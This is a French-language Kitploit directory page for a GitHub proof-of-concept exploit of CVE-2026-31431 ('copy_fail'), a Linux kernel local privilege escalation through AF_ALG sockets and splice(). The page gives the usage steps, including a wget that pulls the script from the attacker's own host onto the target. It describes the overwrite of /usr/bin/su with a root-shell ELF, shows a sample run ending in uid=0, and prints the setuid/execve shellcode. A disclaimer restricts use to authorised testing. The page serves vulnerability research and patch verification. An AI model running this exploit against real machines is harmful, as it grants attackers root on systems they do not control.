Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
copy-fail-CVE-2026-31431-shell — Exploit shell PoC pour CVE-2026-31431 (copy_fail) — LPE Linux via AF_ALG + écrasement du cache de pages par splice. Tir unique, sans condition de course, noyau 4.9–6.18. | Kitploit
Outils/GitHubGitHub/g1nt0n1x/copy-fail-cve-2026-31431-shell
Escalade de PrivilègesFrameworks d'ExploitationAnalyse des VulnérabilitésExploitationDéveloppement de Charges UtilesExploitation de Binaires
GitHubg1nt0n1x/copy-fail-cve-2026-31431-shell

copy-fail-CVE-2026-31431-shell

Exploit shell PoC pour CVE-2026-31431 (copy_fail) — LPE Linux via AF_ALG + écrasement du cache de pages par splice. Tir unique, sans condition de course, noyau 4.9–6.18.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
37il y a 4 moisPas encore vérifié

CVE-2026-31431 - shell copy_fail

Élévation de privilèges locale via socket AF_ALG + écrasement du cache de pages avec splice().

Écrase un binaire SUID en lecture seule (/usr/bin/su) avec un ELF minimal qui appelle setuid(0) + execve("/bin/sh"). Pas de course critique, pas d'offsets spécifiques aux distributions, un seul tir.

root@kitploit:~
$ ./copy_fail_exp.sh
[*] Kernel: 5.15.0-88-generic
[+] Kernel 5.15 est dans la fenêtre vulnérable (4.9 – 6.18) — poursuite
[*] Compilation...
[+] Compilation OK — lancement

# id
uid=0(root) gid=1000(activemq) groups=1000(activemq)

Vulnérabilité

Le socket AF_ALG (API crypto) du noyau Linux, combiné à splice(), permet une écriture dans un fichier ouvert en O_RDONLY en manipulant le cache de pages. Le noyau ignore la vérification des permissions d'écriture dans le raccourci copy-on-write du chemin splice du socket ALG — la même classe de bug que Dirty Pipe (CVE-2022-0847) mais déclenchée via un chemin de code différent introduit dans le noyau 4.9.


Versions concernées

Plage de noyauxStatut
< 4.9Non concerné (chemin de code vulnérable absent)
4.9 – 6.18Vulnérable (~9 ans, 2017–2026)
≥ 6.19Corrigé

Testé

DistributionNoyau
Ubuntu 24.04 LTS6.17.0-1007-aws
Amazon Linux 20236.18.8-9.213.amzn2023
RHEL 10.16.12.0-124.45.1.el10_1
SUSE 166.12.0-160000.9-default

Prérequis

  • Shell local sur la cible (n'importe quel niveau de privilège)
  • gcc disponible sur la cible
  • Accès en écriture à /tmp
  • Architecture x86-64

Utilisation

root@kitploit:~
# Sur la cible
wget http://<votre-ip>/copy_fail_exp.sh
chmod +x copy_fail_exp.sh
./copy_fail_exp.sh

Le script va :

  1. Vérifier si le noyau en cours d'exécution est dans la plage vulnérable
  2. Compiler l'exploit C intégré sur la cible (aucune dépendance zlib)
  3. Écraser /usr/bin/su avec la charge utile du shell root
  4. L'exécuter

Comment ça fonctionne

root@kitploit:~
Socket AF_ALG (AEAD)
      │
      │  sendmsg() avec données annexes forgées (ALG_SET_OP / ALG_SET_IV)
      │
      ▼
  op_fd (socket d'opération)
      ▲
      │  splice() : file_fd → pipe → op_fd
      │
/usr/bin/su (O_RDONLY)

Le chemin splice du noyau dans le socket ALG ignore la vérification des permissions copy-on-write, écrivant directement dans le cache de pages du fichier cible malgré son ouverture en lecture seule. La charge utile (un ELF de 160 octets) est écrite 4 octets à la fois sur 40 itérations.

Code shell de la charge utile :

root@kitploit:~
xor  eax, eax
xor  edi, edi            ; uid = 0
mov  al,  105            ; SYS_setuid
syscall                  ; setuid(0)
lea  rdi, [rip+0xf]      ; -> "/bin/sh"
xor  esi, esi            ; argv = NULL
push 59  /  pop rax      ; SYS_execve
cdq                      ; envp = NULL
syscall                  ; execve("/bin/sh", NULL, NULL)

Fichiers

FichierDescription
copy_fail_exp.shScript Bash — compile et s'exécute sur la cible, aucun Python requis
copy_fail_exp.pyVersion Python originale pour référence
copy_fail_exp_deobfuscated.pyVersion Python désobfusquée et annotée

Avertissement

Réservé aux tests de sécurité autorisés et aux environnements CTF/laboratoire. Ne pas utiliser contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de test.

Télécharger l’outil